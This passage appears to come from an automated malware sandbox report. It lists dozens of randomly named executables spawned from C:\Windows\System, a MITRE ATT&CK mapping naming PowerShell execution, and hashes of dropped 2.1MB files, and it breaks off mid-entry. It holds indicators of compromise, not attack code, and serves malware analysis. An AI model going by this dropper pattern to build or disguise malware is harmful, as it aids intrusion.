- C:\Windows\System\EUnqYCF.exe
  C:\Windows\System\EUnqYCF.exe
  2⤵
  PID:8336
- C:\Windows\System\gfjaoKZ.exe
  C:\Windows\System\gfjaoKZ.exe
  2⤵
  PID:8360
- C:\Windows\System\KppxFnD.exe
  C:\Windows\System\KppxFnD.exe
  2⤵
  PID:8376
- C:\Windows\System\yzECUoE.exe
  C:\Windows\System\yzECUoE.exe
  2⤵
  PID:8392
- C:\Windows\System\zLcuBMx.exe
  C:\Windows\System\zLcuBMx.exe
  2⤵
  PID:8408
- C:\Windows\System\fsKokge.exe
  C:\Windows\System\fsKokge.exe
  2⤵
  PID:8424
- C:\Windows\System\TmKLpPC.exe
  C:\Windows\System\TmKLpPC.exe
  2⤵
  PID:8440
- C:\Windows\System\ALRRDiX.exe
  C:\Windows\System\ALRRDiX.exe
  2⤵
  PID:8456
- C:\Windows\System\Gjndcel.exe
  C:\Windows\System\Gjndcel.exe
  2⤵
  PID:8476
- C:\Windows\System\YWBKRSU.exe
  C:\Windows\System\YWBKRSU.exe
  2⤵
  PID:8492
- C:\Windows\System\bMTsyKK.exe
  C:\Windows\System\bMTsyKK.exe
  2⤵
  PID:8512
- C:\Windows\System\DsgvqZt.exe
  C:\Windows\System\DsgvqZt.exe
  2⤵
  PID:8528
- C:\Windows\System\LBWeKCY.exe
  C:\Windows\System\LBWeKCY.exe
  2⤵
  PID:8544
- C:\Windows\System\QigBuyn.exe
  C:\Windows\System\QigBuyn.exe
  2⤵
  PID:8564
- C:\Windows\System\APPZKnG.exe
  C:\Windows\System\APPZKnG.exe
  2⤵
  PID:8584
- C:\Windows\System\tdJiQzf.exe
  C:\Windows\System\tdJiQzf.exe
  2⤵
  PID:8600
- C:\Windows\System\qNJfHqf.exe
  C:\Windows\System\qNJfHqf.exe
  2⤵
  PID:8624
- C:\Windows\System\bbAMWWw.exe
  C:\Windows\System\bbAMWWw.exe
  2⤵
  PID:8640
- C:\Windows\System\IkrTNDF.exe
  C:\Windows\System\IkrTNDF.exe
  2⤵
  PID:8656
- C:\Windows\System\Yishawu.exe
  C:\Windows\System\Yishawu.exe
  2⤵
  PID:8672
- C:\Windows\System\TePMRTh.exe
  C:\Windows\System\TePMRTh.exe
  2⤵
  PID:8688
- C:\Windows\System\edpvWfO.exe
  C:\Windows\System\edpvWfO.exe
  2⤵
  PID:8704
- C:\Windows\System\ECxEVBF.exe
  C:\Windows\System\ECxEVBF.exe
  2⤵
  PID:8724
- C:\Windows\System\ihIFKoo.exe
  C:\Windows\System\ihIFKoo.exe
  2⤵
  PID:8740
- C:\Windows\System\fVwndNj.exe
  C:\Windows\System\fVwndNj.exe
  2⤵
  PID:8756
- C:\Windows\System\QuKHcEk.exe
  C:\Windows\System\QuKHcEk.exe
  2⤵
  PID:8772
- C:\Windows\System\AbwYVdy.exe
  C:\Windows\System\AbwYVdy.exe
  2⤵
  PID:8788
- C:\Windows\System\aGgAWQR.exe
  C:\Windows\System\aGgAWQR.exe
  2⤵
  PID:8808
- C:\Windows\System\lVUlZIY.exe
  C:\Windows\System\lVUlZIY.exe
  2⤵
  PID:8824
- C:\Windows\System\hBXHIbW.exe
  C:\Windows\System\hBXHIbW.exe
  2⤵
  PID:8840
- C:\Windows\System\gDhqYnA.exe
  C:\Windows\System\gDhqYnA.exe
  2⤵
  PID:8860
- C:\Windows\System\uxhyfxX.exe
  C:\Windows\System\uxhyfxX.exe
  2⤵
  PID:8876
- C:\Windows\System\oSSXRCc.exe
  C:\Windows\System\oSSXRCc.exe
  2⤵
  PID:8892
- C:\Windows\System\kUpPLmn.exe
  C:\Windows\System\kUpPLmn.exe
  2⤵
  PID:8912
- C:\Windows\System\JqDDkUH.exe
  C:\Windows\System\JqDDkUH.exe
  2⤵
  PID:8928
- C:\Windows\System\WujxzKW.exe
  C:\Windows\System\WujxzKW.exe
  2⤵
  PID:8944
- C:\Windows\System\waMLCjl.exe
  C:\Windows\System\waMLCjl.exe
  2⤵
  PID:8964
- C:\Windows\System\HzinpEG.exe
  C:\Windows\System\HzinpEG.exe
  2⤵
  PID:8980
- C:\Windows\System\VjPLYIq.exe
  C:\Windows\System\VjPLYIq.exe
  2⤵
  PID:9000
- C:\Windows\System\fokOoeR.exe
  C:\Windows\System\fokOoeR.exe
  2⤵
  PID:9016
- C:\Windows\System\AudcXPY.exe
  C:\Windows\System\AudcXPY.exe
  2⤵
  PID:9032
- C:\Windows\System\eYudlaV.exe
  C:\Windows\System\eYudlaV.exe
  2⤵
  PID:9052
- C:\Windows\System\lozrmRe.exe
  C:\Windows\System\lozrmRe.exe
  2⤵
  PID:9068
- C:\Windows\System\gnLUGpH.exe
  C:\Windows\System\gnLUGpH.exe
  2⤵
  PID:9084
- C:\Windows\System\nETaJsG.exe
  C:\Windows\System\nETaJsG.exe
  2⤵
  PID:9104
- C:\Windows\System\lUkfjuU.exe
  C:\Windows\System\lUkfjuU.exe
  2⤵
  PID:9120
- C:\Windows\System\ptLDRoO.exe
  C:\Windows\System\ptLDRoO.exe
  2⤵
  PID:9140
- C:\Windows\System\GhBLtea.exe
  C:\Windows\System\GhBLtea.exe
  2⤵
  PID:9156
- C:\Windows\System\uJfAReX.exe
  C:\Windows\System\uJfAReX.exe
  2⤵
  PID:9176
- C:\Windows\System\IQMtQeL.exe
  C:\Windows\System\IQMtQeL.exe
  2⤵
  PID:9192
- C:\Windows\System\rnNxRSw.exe
  C:\Windows\System\rnNxRSw.exe
  2⤵
  PID:9208
- C:\Windows\System\WyoeZTP.exe
  C:\Windows\System\WyoeZTP.exe
  2⤵
  PID:8232
- C:\Windows\System\PgxEvpo.exe
  C:\Windows\System\PgxEvpo.exe
  2⤵
  PID:7892
- C:\Windows\System\JlVmikM.exe
  C:\Windows\System\JlVmikM.exe
  2⤵
  PID:7320
- C:\Windows\System\SLEHQny.exe
  C:\Windows\System\SLEHQny.exe
  2⤵
  PID:7768
- C:\Windows\System\xtoHEjq.exe
  C:\Windows\System\xtoHEjq.exe
  2⤵
  PID:7936
- C:\Windows\System\MhPbUep.exe
  C:\Windows\System\MhPbUep.exe
  2⤵
  PID:8268
- C:\Windows\System\iXLtqoc.exe
  C:\Windows\System\iXLtqoc.exe
  2⤵
  PID:8332
- C:\Windows\System\SAIrnei.exe
  C:\Windows\System\SAIrnei.exe
  2⤵
  PID:8432
- C:\Windows\System\vuADvBQ.exe
  C:\Windows\System\vuADvBQ.exe
  2⤵
  PID:8540
- C:\Windows\System\URVOoot.exe
  C:\Windows\System\URVOoot.exe
  2⤵
  PID:8612
- C:\Windows\System\pGgCuvL.exe
  C:\Windows\System\pGgCuvL.exe
  2⤵
  PID:8384
- C:\Windows\System\BvirbKS.exe
  C:\Windows\System\BvirbKS.exe
  2⤵
  PID:8716
- C:\Windows\System\iZNYlAh.exe
  C:\Windows\System\iZNYlAh.exe
  2⤵
  PID:8316
- C:\Windows\System\xvYytrX.exe
  C:\Windows\System\xvYytrX.exe
  2⤵
  PID:8356
- C:\Windows\System\YFDEoeQ.exe
  C:\Windows\System\YFDEoeQ.exe
  2⤵
  PID:8664
- C:\Windows\System\qpopMbz.exe
  C:\Windows\System\qpopMbz.exe
  2⤵
  PID:8696
- C:\Windows\System\lOSYMmO.exe
  C:\Windows\System\lOSYMmO.exe
  2⤵
  PID:8416
- C:\Windows\System\YsObhdQ.exe
  C:\Windows\System\YsObhdQ.exe
  2⤵
  PID:8452
- C:\Windows\System\BeneJTN.exe
  C:\Windows\System\BeneJTN.exe
  2⤵
  PID:8720
- C:\Windows\System\qcyMbGX.exe
  C:\Windows\System\qcyMbGX.exe
  2⤵
  PID:8780
- C:\Windows\System\WqntXDC.exe
  C:\Windows\System\WqntXDC.exe
  2⤵
  PID:8852
- C:\Windows\System\ASxSzcD.exe
  C:\Windows\System\ASxSzcD.exe
  2⤵
  PID:8924
- C:\Windows\System\iCdkxwm.exe
  C:\Windows\System\iCdkxwm.exe
  2⤵
  PID:9092
- C:\Windows\System\LwUKlWW.exe
  C:\Windows\System\LwUKlWW.exe
  2⤵
  PID:9132
- C:\Windows\System\gKUMYWn.exe
  C:\Windows\System\gKUMYWn.exe
  2⤵
  PID:9168
- C:\Windows\System\vOpNmGH.exe
  C:\Windows\System\vOpNmGH.exe
  2⤵
  PID:7800
- C:\Windows\System\tzjRaHW.exe
  C:\Windows\System\tzjRaHW.exe
  2⤵
  PID:7536
- C:\Windows\System\xeVPDIP.exe
  C:\Windows\System\xeVPDIP.exe
  2⤵
  PID:8836
- C:\Windows\System\ebcXQNa.exe
  C:\Windows\System\ebcXQNa.exe
  2⤵
  PID:8936
- C:\Windows\System\hEhKpkK.exe
  C:\Windows\System\hEhKpkK.exe
  2⤵
  PID:9008
- C:\Windows\System\cfVXqcC.exe
  C:\Windows\System\cfVXqcC.exe
  2⤵
  PID:9048
- C:\Windows\System\Oajfsxd.exe
  C:\Windows\System\Oajfsxd.exe
  2⤵
  PID:9116
- C:\Windows\System\GBuKLbN.exe
  C:\Windows\System\GBuKLbN.exe
  2⤵
  PID:8196
- C:\Windows\System\gHJVHUr.exe
  C:\Windows\System\gHJVHUr.exe
  2⤵
  PID:7688
- C:\Windows\System\zXpxorZ.exe
  C:\Windows\System\zXpxorZ.exe
  2⤵
  PID:9184
- C:\Windows\System\ADaECQm.exe
  C:\Windows\System\ADaECQm.exe
  2⤵
  PID:8372
- C:\Windows\System\nXiLjxJ.exe
  C:\Windows\System\nXiLjxJ.exe
  2⤵
  PID:2788
- C:\Windows\System\lGyIZpL.exe
  C:\Windows\System\lGyIZpL.exe
  2⤵
  PID:8284
- C:\Windows\System\UrcuJUq.exe
  C:\Windows\System\UrcuJUq.exe
  2⤵
  PID:8576
- C:\Windows\System\LvksbaJ.exe
  C:\Windows\System\LvksbaJ.exe
  2⤵
  PID:8652
- C:\Windows\System\NgynIOP.exe
  C:\Windows\System\NgynIOP.exe
  2⤵
  PID:8684
- C:\Windows\System\BbAMsaH.exe
  C:\Windows\System\BbAMsaH.exe
  2⤵
  PID:8700
- C:\Windows\System\pWSPOag.exe
  C:\Windows\System\pWSPOag.exe
  2⤵
  PID:8848
- C:\Windows\System\pVXajzF.exe
  C:\Windows\System\pVXajzF.exe
  2⤵
  PID:8596
- C:\Windows\System\IyCxrQP.exe
  C:\Windows\System\IyCxrQP.exe
  2⤵
  PID:8752
- C:\Windows\System\sHjUdjK.exe
  C:\Windows\System\sHjUdjK.exe
  2⤵
  PID:8920
- C:\Windows\System\guRIMfH.exe
  C:\Windows\System\guRIMfH.exe
  2⤵
  PID:8888
- C:\Windows\System\iGDFZRR.exe
  C:\Windows\System\iGDFZRR.exe
  2⤵
  PID:9024
- C:\Windows\System\EkeXzbc.exe
  C:\Windows\System\EkeXzbc.exe
  2⤵
  PID:9064
- C:\Windows\System\uMElhSQ.exe
  C:\Windows\System\uMElhSQ.exe
  2⤵
  PID:9200
- C:\Windows\System\lAaTKTE.exe
  C:\Windows\System\lAaTKTE.exe
  2⤵
  PID:7388
- C:\Windows\System\FhTEPtd.exe
  C:\Windows\System\FhTEPtd.exe
  2⤵
  PID:9044
- C:\Windows\System\lXSoVYq.exe
  C:\Windows\System\lXSoVYq.exe
  2⤵
  PID:8244
- C:\Windows\System\TbpMMPA.exe
  C:\Windows\System\TbpMMPA.exe
  2⤵
  PID:7652
- C:\Windows\System\ihtWUji.exe
  C:\Windows\System\ihtWUji.exe
  2⤵
  PID:8976
- C:\Windows\System\CWqxgYK.exe
  C:\Windows\System\CWqxgYK.exe
  2⤵
  PID:8500
- C:\Windows\System\GutXzxQ.exe
  C:\Windows\System\GutXzxQ.exe
  2⤵
  PID:8348
- C:\Windows\System\WYCvFtf.exe
  C:\Windows\System\WYCvFtf.exe
  2⤵
  PID:8572
- C:\Windows\System\TRtuJVW.exe
  C:\Windows\System\TRtuJVW.exe
  2⤵
  PID:8960
- C:\Windows\System\VPgTBRh.exe
  C:\Windows\System\VPgTBRh.exe
  2⤵
  PID:8956
- C:\Windows\System\VJXhoGd.exe
  C:\Windows\System\VJXhoGd.exe
  2⤵
  PID:8884
- C:\Windows\System\JDqtXbT.exe
  C:\Windows\System\JDqtXbT.exe
  2⤵
  PID:8804
- C:\Windows\System\hXFiZVH.exe
  C:\Windows\System\hXFiZVH.exe
  2⤵
  PID:8228
- C:\Windows\System\VwCUdwZ.exe
  C:\Windows\System\VwCUdwZ.exe
  2⤵
  PID:8296
- C:\Windows\System\LUxsyOG.exe
  C:\Windows\System\LUxsyOG.exe
  2⤵
  PID:8712
- C:\Windows\System\erWmwQF.exe
  C:\Windows\System\erWmwQF.exe
  2⤵
  PID:8648
- C:\Windows\System\ZeNxcXl.exe
  C:\Windows\System\ZeNxcXl.exe
  2⤵
  PID:8736
- C:\Windows\System\LhKqnkl.exe
  C:\Windows\System\LhKqnkl.exe
  2⤵
  PID:9128
- C:\Windows\System\qjqsTtE.exe
  C:\Windows\System\qjqsTtE.exe
  2⤵
  PID:8764
- C:\Windows\System\HiePaUs.exe
  C:\Windows\System\HiePaUs.exe
  2⤵
  PID:8388
- C:\Windows\System\MuwkFPe.exe
  C:\Windows\System\MuwkFPe.exe
  2⤵
  PID:9232
- C:\Windows\System\XeToQlp.exe
  C:\Windows\System\XeToQlp.exe
  2⤵
  PID:9248
- C:\Windows\System\rdURcRG.exe
  C:\Windows\System\rdURcRG.exe
  2⤵
  PID:9264
- C:\Windows\System\MieswXp.exe
  C:\Windows\System\MieswXp.exe
  2⤵
  PID:9280
- C:\Windows\System\SUkiiwc.exe
  C:\Windows\System\SUkiiwc.exe
  2⤵
  PID:9296
- C:\Windows\System\pgQBKtX.exe
  C:\Windows\System\pgQBKtX.exe
  2⤵
  PID:9312
- C:\Windows\System\fgIORuR.exe
  C:\Windows\System\fgIORuR.exe
  2⤵
  PID:9328
- C:\Windows\System\YHUtiDZ.exe
  C:\Windows\System\YHUtiDZ.exe
  2⤵
  PID:9344
- C:\Windows\System\IEfjzEV.exe
  C:\Windows\System\IEfjzEV.exe
  2⤵
  PID:9360
- C:\Windows\System\XxwKKtn.exe
  C:\Windows\System\XxwKKtn.exe
  2⤵
  PID:9376
- C:\Windows\System\XfEXwXw.exe
  C:\Windows\System\XfEXwXw.exe
  2⤵
  PID:9392
- C:\Windows\System\wkNCWny.exe
  C:\Windows\System\wkNCWny.exe
  2⤵
  PID:9408
- C:\Windows\System\GeLDOuc.exe
  C:\Windows\System\GeLDOuc.exe
  2⤵
  PID:9424
- C:\Windows\System\nrwDUsd.exe
  C:\Windows\System\nrwDUsd.exe
  2⤵
  PID:9444
- C:\Windows\System\wJiCump.exe
  C:\Windows\System\wJiCump.exe
  2⤵
  PID:9460
- C:\Windows\System\hbmlKCq.exe
  C:\Windows\System\hbmlKCq.exe
  2⤵
  PID:9476
- C:\Windows\System\wNiFHjH.exe
  C:\Windows\System\wNiFHjH.exe
  2⤵
  PID:9492
- C:\Windows\System\CgdUXzN.exe
  C:\Windows\System\CgdUXzN.exe
  2⤵
  PID:9508
- C:\Windows\System\bWsOPUr.exe
  C:\Windows\System\bWsOPUr.exe
  2⤵
  PID:9524
- C:\Windows\System\aKIxPwd.exe
  C:\Windows\System\aKIxPwd.exe
  2⤵
  PID:9540
- C:\Windows\System\rkeHKIr.exe
  C:\Windows\System\rkeHKIr.exe
  2⤵
  PID:9556
- C:\Windows\System\wwFdMZj.exe
  C:\Windows\System\wwFdMZj.exe
  2⤵
  PID:9572
- C:\Windows\System\TqklaUd.exe
  C:\Windows\System\TqklaUd.exe
  2⤵
  PID:9588
- C:\Windows\System\DUAlLpm.exe
  C:\Windows\System\DUAlLpm.exe
  2⤵
  PID:9604
- C:\Windows\System\JykGUkM.exe
  C:\Windows\System\JykGUkM.exe
  2⤵
  PID:9620
- C:\Windows\System\wzpcVQI.exe
  C:\Windows\System\wzpcVQI.exe
  2⤵
  PID:9636
- C:\Windows\System\SmGSgBF.exe
  C:\Windows\System\SmGSgBF.exe
  2⤵
  PID:9652
- C:\Windows\System\JsUmTyg.exe
  C:\Windows\System\JsUmTyg.exe
  2⤵
  PID:9668
- C:\Windows\System\qrktOmO.exe
  C:\Windows\System\qrktOmO.exe
  2⤵
  PID:9684
- C:\Windows\System\riSuzKE.exe
  C:\Windows\System\riSuzKE.exe
  2⤵
  PID:9700
- C:\Windows\System\MtcajXR.exe
  C:\Windows\System\MtcajXR.exe
  2⤵
  PID:9716
- C:\Windows\System\BZDMmRQ.exe
  C:\Windows\System\BZDMmRQ.exe
  2⤵
  PID:9732
- C:\Windows\System\gJYNPCE.exe
  C:\Windows\System\gJYNPCE.exe
  2⤵
  PID:9748
- C:\Windows\System\rDiabQX.exe
  C:\Windows\System\rDiabQX.exe
  2⤵
  PID:9764
- C:\Windows\System\uYjVbzP.exe
  C:\Windows\System\uYjVbzP.exe
  2⤵
  PID:9780
- C:\Windows\System\yQlcJCN.exe
  C:\Windows\System\yQlcJCN.exe
  2⤵
  PID:9796
- C:\Windows\System\whwqsRn.exe
  C:\Windows\System\whwqsRn.exe
  2⤵
  PID:9812
- C:\Windows\System\JpgNbqo.exe
  C:\Windows\System\JpgNbqo.exe
  2⤵
  PID:9828
- C:\Windows\System\zjkwCui.exe
  C:\Windows\System\zjkwCui.exe
  2⤵
  PID:9844
- C:\Windows\System\yWuMOfh.exe
  C:\Windows\System\yWuMOfh.exe
  2⤵
  PID:9860
- C:\Windows\System\QIOFQKG.exe
  C:\Windows\System\QIOFQKG.exe
  2⤵
  PID:9876
- C:\Windows\System\jWoATHa.exe
  C:\Windows\System\jWoATHa.exe
  2⤵
  PID:9892
- C:\Windows\System\lPrIDdX.exe
  C:\Windows\System\lPrIDdX.exe
  2⤵
  PID:9908
- C:\Windows\System\FnxMBzt.exe
  C:\Windows\System\FnxMBzt.exe
  2⤵
  PID:9924
- C:\Windows\System\kTOBHFN.exe
  C:\Windows\System\kTOBHFN.exe
  2⤵
  PID:9940
- C:\Windows\System\vRXLyRl.exe
  C:\Windows\System\vRXLyRl.exe
  2⤵
  PID:9956
- C:\Windows\System\rmuvtES.exe
  C:\Windows\System\rmuvtES.exe
  2⤵
  PID:9972
- C:\Windows\System\BJPmdui.exe
  C:\Windows\System\BJPmdui.exe
  2⤵
  PID:9988
- C:\Windows\System\SKBZBhb.exe
  C:\Windows\System\SKBZBhb.exe
  2⤵
  PID:10008
- C:\Windows\System\wjeDNUN.exe
  C:\Windows\System\wjeDNUN.exe
  2⤵
  PID:10024
- C:\Windows\System\GDuhwUS.exe
  C:\Windows\System\GDuhwUS.exe
  2⤵
  PID:10040
- C:\Windows\System\mcbxYEu.exe
  C:\Windows\System\mcbxYEu.exe
  2⤵
  PID:10056
- C:\Windows\System\GIBYozi.exe
  C:\Windows\System\GIBYozi.exe
  2⤵
  PID:10072
- C:\Windows\System\jvEhSdZ.exe
  C:\Windows\System\jvEhSdZ.exe
  2⤵
  PID:10088
- C:\Windows\System\wyhnuYT.exe
  C:\Windows\System\wyhnuYT.exe
  2⤵
  PID:10104
- C:\Windows\System\eLVZstj.exe
  C:\Windows\System\eLVZstj.exe
  2⤵
  PID:10120
- C:\Windows\System\OuIPgZh.exe
  C:\Windows\System\OuIPgZh.exe
  2⤵
  PID:10136
- C:\Windows\System\DNFMYUa.exe
  C:\Windows\System\DNFMYUa.exe
  2⤵
  PID:10152
- C:\Windows\System\bgxFTMD.exe
  C:\Windows\System\bgxFTMD.exe
  2⤵
  PID:10168
- C:\Windows\System\kxPTDOi.exe
  C:\Windows\System\kxPTDOi.exe
  2⤵
  PID:10184
- C:\Windows\System\TlnHuvu.exe
  C:\Windows\System\TlnHuvu.exe
  2⤵
  PID:10200
- C:\Windows\System\bRQEPQC.exe
  C:\Windows\System\bRQEPQC.exe
  2⤵
  PID:10216
- C:\Windows\System\YUUhIYG.exe
  C:\Windows\System\YUUhIYG.exe
  2⤵
  PID:10232
- C:\Windows\System\cKYyNFQ.exe
  C:\Windows\System\cKYyNFQ.exe
  2⤵
  PID:9244
- C:\Windows\System\TSOzPMo.exe
  C:\Windows\System\TSOzPMo.exe
  2⤵
  PID:8620
- C:\Windows\System\xjECsWH.exe
  C:\Windows\System\xjECsWH.exe
  2⤵
  PID:9336
- C:\Windows\System\xVvyZMI.exe
  C:\Windows\System\xVvyZMI.exe
  2⤵
  PID:9060
- C:\Windows\System\ZETSGjp.exe
  C:\Windows\System\ZETSGjp.exe
  2⤵
  PID:9388
- C:\Windows\System\BoYkuEG.exe
  C:\Windows\System\BoYkuEG.exe
  2⤵
  PID:9164
- C:\Windows\System\MrlNSJS.exe
  C:\Windows\System\MrlNSJS.exe
  2⤵
  PID:9468
- C:\Windows\System\pGtFTKo.exe
  C:\Windows\System\pGtFTKo.exe
  2⤵
  PID:9256
- C:\Windows\System\iRjeeXJ.exe
  C:\Windows\System\iRjeeXJ.exe
  2⤵
  PID:9260
- C:\Windows\System\kFdrvYC.exe
  C:\Windows\System\kFdrvYC.exe
  2⤵
  PID:9568
- C:\Windows\System\UdCEZsR.exe
  C:\Windows\System\UdCEZsR.exe
  2⤵
  PID:9356
- C:\Windows\System\XdpqgcE.exe
  C:\Windows\System\XdpqgcE.exe
  2⤵
  PID:9420
- C:\Windows\System\tslhKTb.exe
  C:\Windows\System\tslhKTb.exe
  2⤵
  PID:9516
- C:\Windows\System\hzXanEV.exe
  C:\Windows\System\hzXanEV.exe
  2⤵
  PID:9520

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\ApJlvLb.exe

Filesize
2.1MB

MD5
053061b7495f96b87f8d24c28e7976ea

SHA1
75e117f09174cef4678cd4c650856908cf4676b6

SHA256
57b96cb7dc87f21ab6f4d85ed2f79521438c04549550e2f62fa6c13607d8e6e9

SHA512
da7a533ef32bf06cb10031ba6878013dc83f252571f0864be1dbfae8e04dd3bccf623ab8b0bb5a5d997bdddb85493562a1e84806b04d369bb440805bf0528650

Download Submit
C:\Windows\system\GFijeBZ.exe

Filesize
2.1MB

MD5
2742384a9526840d03498a233d98648e

SHA1
2cd4030d54c881e9fe81e436752212db46890ceb

SHA256
dfb20b7f2a9cd975472ec884fb13809a7e7ad7380ef6d3aebf72762b38877bb9

SHA512
1cef5ed5dd1988e1392e82a40a67e41fc63d946cf0ec6d17e3af9ae0df20e2b5cbfeed9b375c4d9482800e5e4ce02d302d02942d6240fc2f0b935b7ae575b530

Download Submit
C:\Windows\system\HNPaDwM.exe

Filesize
2.1MB

MD5
5ffe6011ebced347550bf0fc1879bf40

SHA1
0662d974fdb5e5fc061daea242dcda81712f4134

SHA256
7a614b7b0359f0cc4ddfe77d80ca9255550af958287e46915d9fb8842bd081be

SHA512
ca12fa9bb335d68909f0af74819db8ea25b4c3f37d86895d2678b645dfaeccb91e5e143c4dc0d4b91ad77ed80be6f1c721584f88462e1338e75b6c7d6cea0785

Download Submit
C:\Windows\system\HPLUpQC.exe

Filesize
2.1MB

MD5
3c2d1d1bfdc6ee986fca5f3fc69af062

SHA1
ef78b47e199f5a2a021e6e06283d01f93e260866

SHA256
6825c1dc94609754df476524088b416ea2c4c3d4157bac3b8d2981959bb9b954

SHA512
9415910a176a7be63e043673ad6c9e46ce83a092c3dae78d537e7c6a9e981641ed8c57e2ca40ec84b8229d0b814f84e1acc22905f7af777718950458128d944d

Download Submit
C:\Windows\system\HbnJyRM.exe

Filesize
2.1MB

MD5
d1661662d7a71867717e98da5e604b66

SHA1
c469c00276b676178b8f03106052170162e8f826

SHA256
96217363b32db6c289a7f6af181776d2bf8bf21300e63007d0df000c14d577f9

SHA512
1c3ab5d7720cd2d3552cde8cd844351fe6bf00250b9a9c162b3ad6c9843f58996bbba9b34675af8c8cbc1326e7910bcb1c4ea5d9d3a7a47331a8c76e29f5e7d4

Download Submit
C:\Windows\system\IxBOYJL.exe

Filesize
2.1MB

MD5
55736a0da1cf84d28e1c62beeab5a40e

SHA1
a955f1a033dfec0f9ae10ef12e546d819f1a3885

SHA256
fafa723fb8a0b97d8dd763c19623ac2691a6ee5fddfc0b624db1f12ed2e1c200

SHA512
0c10ceac296ebc12af1b97a124aa8e595ed90821aef707d57a35a4ab8a7828183e3a979ab87987a2b1b3d5d7bcc579e0c528013d28f8c5c663cd629be8f77f26

Download Submit
C:\Windows\system\LRyCQjc.exe

Filesize
2.1MB

MD5
5f6acd8e8d269b9ef480af83351504d4

SHA1
ae779197f5a4c5da675287dce5ccf84bc93c2eb8

SHA256
b3cb0922bbbeb4e3ba0ebac667469e557a451aff5535d8440b5b818b43f4ca51

SHA512
47c8664ea33b68467198d1e5f67910a86a983c99f4e007d1665ff021cf36f130c9ab6b9461c565042908799c4d32140a23e7071c6fe74deb65035be0488ad0c5

Download Submit
C:\Windows\system\NJSdPci.exe

Filesize
2.1MB

MD5
fc6033c200ec88ec2cea8c91b7bea9b5

SHA1
551e8a42b9ccf63a128761ae79169baa7cf25429

SHA256
6e0346a1392a353549e69b053cad2582c52908cdb3a76185d23f4b7228899b77

SHA512
55d9dd90ed0dc140ffef3c02d301e60d55c11c0d834b04193223ab30440c9d93d5ba432e2fbab7251c896a8b60c06bcf9975a5086905548455ed8aa28ec38d7f

Download Submit
C:\Windows\system\QbDnmaM.exe

Filesize
2.1MB

MD5
5fbaa39ceba1f2269f5e0c9bd66a0a7b

SHA1
2ba5c37a6180f57d38da2b5239190c950c56986a

SHA256
dfae7b873e6cc031d92aa6b40ed8e0905ae07782c6e9b8de2150233e4d9dbc4b

SHA512
e7734de0f794277949915e61428edad1dc2e5549e3b0ec80a799674a8a36a5411d8c52552d97ca19dcd4975ed16b7974bd8420b30a78856edba5f048b0d5accf

Download Submit
C:\Windows\system\TdUEAgl.exe

Filesize
2.1MB

MD5
5f45a4854ffde7e7bda2b46143b88a1f

SHA1
9efc5a818e7826bf17f07d9283d9506e1d559e0b

SHA256
a605731ad1815e5d943c1723b3f9a6687a0fd4c0e3fe28d7c0a59670517f5f21

SHA512
d7a1b225b24351047c252e61d35d205c1d48b79960fd451ce738735ae6240b08e550ea80aba7de4d56ceb457eb059b2f9f0c20e66cb468f49e28330ddaa3465b

Download Submit
C:\Windows\system\WTGgkLc.exe

Filesize
2.1MB

MD5
b35e1183850c4d5fad2e45790074076a

SHA1
7f5b8defc0ccfa49be4df34786cb3ae508e5a995

SHA256
ef85bafbecc7d91beb185c4e7269e258505372a38f5df1947a8d325d6866659c

SHA512
b92c871e6a9bf185a1ff588c52c78b79ef3522018c5a64a637f027e5affeb768f62a781bcdc07415d8abe958ee3c9d5b8ab26511f2bc3e635e6ba68c43e96de3

Download Submit
C:\Windows\system\ZDpoFlp.exe

Filesize
2.1MB

MD5
83f526c0c6e29d8e68d4ca79c4d11519

SHA1
d19350eb2f906392d6be5b3fdb56a7461c8c3f10

SHA256
f13864810c5b7bee85a67cd3db12deb00d6d4b680fb2ed9594fb597765a97cf0

SHA512
e558fec5b9ad92f49655251d224f6dd13de5fa1ec55300d28fae92f7fec4dbe63cea606ec88a75a660a7b4ad710005bd925565eeb95c15d79580929b046e96e7

Download Submit
C:\Windows\system\aTKYcSG.exe

Filesize
2.1MB

MD5
8a6dbf086de249b87234f5c1a9792d9c

SHA1
3c27c993ef76813ce07b5c50692b2a11319b980b

SHA256
7ce2aedbf9b057d4cc021bfaa1e6407007b05022d90c7929e84ef5fc97bf615a

SHA512
c3a4f81709ee7de0a4df3987ee47f3bd1139d48ce422a6f6b652d077a2305031e4413096b18b5de12d78a4f962e6cdabb883f6e3af9d96796e809433717db224

Download Submit
C:\Windows\system\irabDRH.exe

Filesize
2.1MB

MD5
65d15084a6a12632664bdfec6e3a1d91

SHA1
e7efaa05ab6f59f2dc49e70748205f4e6d1565aa

SHA256
c605e47b53e4a9572d34a0d827fbcd5000c6739a18d32860173f2b7c1154e846

SHA512
c067c1ecdc4d8e16a59faadbb9b58b76a59bdd1aa0f8ea1c2773042f2e1b4f847a39778e31ee6ea75496769f1be31d3748518a432af241bcf7481dbd8e848c15

Download Submit
C:\Windows\system\mfUVHZc.exe

Filesize
2.1MB

MD5
484d2d83834f329389d1b7af1bf6d9b7

SHA1
eb86f971a31e1ba8b2863127aba131a8569f368c

SHA256
91772f5b0135837dbf3bcdd378b2b207cab59c2110408a468610ed79e41dbd1d

SHA512
478e162bb2d549c58f07f8468856d5a529d048c88fb69b8249aac6a97b6245b388837ab53d13698f5eff8523473fb81bba51be07f0745b8c2db64a5986e592b8

Download Submit
C:\Windows\system\nVdRRXV.exe

Filesize
2.1MB

MD5
4c2133ed6c85a39a0832906a4d6c7118

SHA1
13a3161c55841c570a1bd754a6c1fac8ebf3111a

SHA256
44bb4e62994589aba153611f7d1933098c715b750590268cc45c6eb80d952f61

SHA512
3f9b992600eaadd51df3286c88aa67c74b7e2a1815e77a3aaed9da72ec975d32cc7b5e5420e4e6a49294ef79c0917501b23097569da0d59000ba83c62eca21c9

Download Submit
C:\Windows\system\nXxBigM.exe

Filesize
2.1MB

MD5
83d417bdb9b4c668df05106166b34240

SHA1
b385add2849b73b34b7ffce0db1401943a4311ff

SHA256
b491d9e4e86a7d7d2d1e4380990e0e4cc509ba730d8c214b9b93e71268b50d79

SHA512
641bdfae13c0172a922129f30c7a2b9f7cdd9cd4a36079c03d174e2c0e63e5e2dd7d5ee3c423611615e454804e2f1310baddbf515e11116f36effb0d321db366

Download Submit
C:\Windows\system\oGgjsUE.exe

Filesize
2.1MB

MD5
fc1ffcb737427c66668444bd7c60b9df

SHA1
8c3c35d0611c6eed902c25248e46497e28674daa

SHA256
